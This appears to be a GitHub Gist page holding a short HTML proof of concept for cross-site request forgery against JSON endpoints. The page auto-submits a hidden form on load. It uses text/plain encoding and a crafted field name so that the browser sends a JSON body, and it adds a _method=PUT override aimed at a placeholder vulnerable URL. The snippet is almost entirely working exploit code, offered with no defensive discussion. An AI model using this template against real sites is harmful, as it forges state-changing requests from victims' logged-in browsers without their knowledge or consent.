Skip to content

Instantly share code, notes, and snippets.

@securITymania

securITymania/csrfjson_poc.html

Last active March 7, 2020 08:07
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save securITymania/df3807cae3c29723768b5baeb5f40fe6 to your computer and use it in GitHub Desktop.
Save securITymania/df3807cae3c29723768b5baeb5f40fe6 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
csrfjson_poc.html
<body onload='document.forms[0].submit()'>
<form action="https://<vulnerable-url>?_method=PUT" method="POST" enctype="text/plain">
<input type="text" name='{"username":"blob","dummy":"' value='"}'>
<input type="submit" value="send">
</form>
<!---This results in a request body of:
{"username":"blob", "dummy": "="} -->
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment